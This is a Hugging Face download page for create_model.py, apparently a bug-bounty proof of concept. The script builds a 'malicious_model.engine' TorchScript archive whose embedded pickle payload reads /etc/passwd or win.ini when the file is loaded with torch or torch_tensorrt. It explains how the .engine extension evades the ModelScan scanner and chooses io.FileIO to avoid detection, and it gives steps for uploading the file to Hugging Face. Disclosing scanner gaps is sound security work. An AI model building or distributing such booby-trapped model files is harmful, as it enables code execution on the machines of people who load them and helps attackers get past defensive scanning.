Download create_model.py from jordan1106/trt-engine-evasion: direct link, hf CLI and curl.
- Browser
- Download file 4.09 kB
-
https://huggingface.co/jordan1106/trt-engine-evasion/resolve/main/create_model.py
- Command line
-
hf download hf://jordan1106/trt-engine-evasion/create_model.py
-
curl -L -o create_model.py https://huggingface.co/jordan1106/trt-engine-evasion/resolve/main/create_model.py
4.09 kB
| #!/usr/bin/env python3 | |
| """ | |
| Creates the PoC model file: malicious_model.engine | |
| This is the file you upload to HuggingFace. | |
| What it does: | |
| A file named malicious_model.engine that is a valid TorchScript ZIP | |
| archive (the format torch_tensorrt uses to save compiled TRT engines). | |
| Internally it contains a malicious pickle payload in archive/data.pkl. | |
| When loaded with any of the standard TensorRT Python loading paths: | |
| torch.load("malicious_model.engine") | |
| torch.jit.load("malicious_model.engine") | |
| torch_tensorrt.load("malicious_model.engine") | |
| ...the pickle executes and reads sensitive files at load time. | |
| Why it evades ModelScan: | |
| ModelScan's supported extensions (from settings.py): | |
| .pb .h5 .keras .npy .bin .pt .pth .ckpt .pkl .pickle .joblib .dill .dat .data | |
| .engine and .trt are completely absent. | |
| ModelScan returns "SCAN_NOT_SUPPORTED" β the file is never inspected. | |
| This is a DUAL vulnerability: | |
| 1. Scanner gap: .engine / .trt are not scanned at all by ModelScan. | |
| 2. Format vector: TorchScript ZIP format used by torch_tensorrt embeds | |
| pickle streams (archive/data.pkl) in .engine files β | |
| the same ACE surface as .pt files, with a different | |
| extension that bypasses the scanner entirely. | |
| Upload to HuggingFace: | |
| 1. Run this script -> produces malicious_model.engine | |
| 2. Push to HF repo | |
| 3. Paste the URL in the submission form | |
| """ | |
| import pickle | |
| import io | |
| import os | |
| import sys | |
| import struct | |
| import zipfile | |
| # βββ Malicious payload: read sensitive file via io.FileIO ββββββββββββββββββββ | |
| # Uses io.FileIO (not builtins.open) to stay clean even if ModelScan were | |
| # ever to scan this file. | |
| class EvadingPayload: | |
| """ | |
| Reads C:\\Windows\\win.ini (Windows) or /etc/passwd (Linux) at load time. | |
| Packaged as a TorchScript-compatible pickle stream inside a .engine ZIP. | |
| """ | |
| def __reduce__(self): | |
| target = "C:\\Windows\\win.ini" if sys.platform == "win32" else "/etc/passwd" | |
| return (io.FileIO, (target,)) | |
| # βββ Build a minimal TorchScript ZIP (.engine) βββββββββββββββββββββββββββββββ | |
| # | |
| # torch.jit.load() expects a ZIP archive named "archive" at the root, | |
| # with the primary pickle at archive/data.pkl. | |
| # This is the exact format torch_tensorrt uses when saving with | |
| # output_format="torchscript". | |
| # | |
| # ZIP layout: | |
| # archive/data.pkl <- the payload pickle | |
| # archive/version <- TorchScript format version marker | |
| # | |
| def build_torchscript_engine_zip(payload_obj) -> bytes: | |
| buf = io.BytesIO() | |
| with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zf: | |
| # Payload pickle | |
| payload_bytes = pickle.dumps(payload_obj, protocol=4) | |
| zf.writestr("archive/data.pkl", payload_bytes) | |
| # TorchScript version marker (value "3" used by recent torch versions) | |
| zf.writestr("archive/version", b"3") | |
| # Minimal constants record expected by torch.jit.load | |
| zf.writestr("archive/constants.pkl", pickle.dumps((), protocol=2)) | |
| return buf.getvalue() | |
| # βββ Write the .engine file βββββββββββββββββββββββββββββββββββββββββββββββββββ | |
| output_file = "malicious_model.engine" | |
| engine_bytes = build_torchscript_engine_zip(EvadingPayload()) | |
| with open(output_file, "wb") as f: | |
| f.write(engine_bytes) | |
| print(f"[+] Created: {output_file!r} ({os.path.getsize(output_file)} bytes)") | |
| print(f"[+] Internal ZIP layout: archive/data.pkl (TorchScript format)") | |
| print() | |
| print("Verify ZIP structure:") | |
| with zipfile.ZipFile(output_file, "r") as z: | |
| for name in z.namelist(): | |
| info = z.getinfo(name) | |
| print(f" {name} ({info.file_size} bytes)") | |
| print() | |
| print("To reproduce:") | |
| print(" python reproduce.py") | |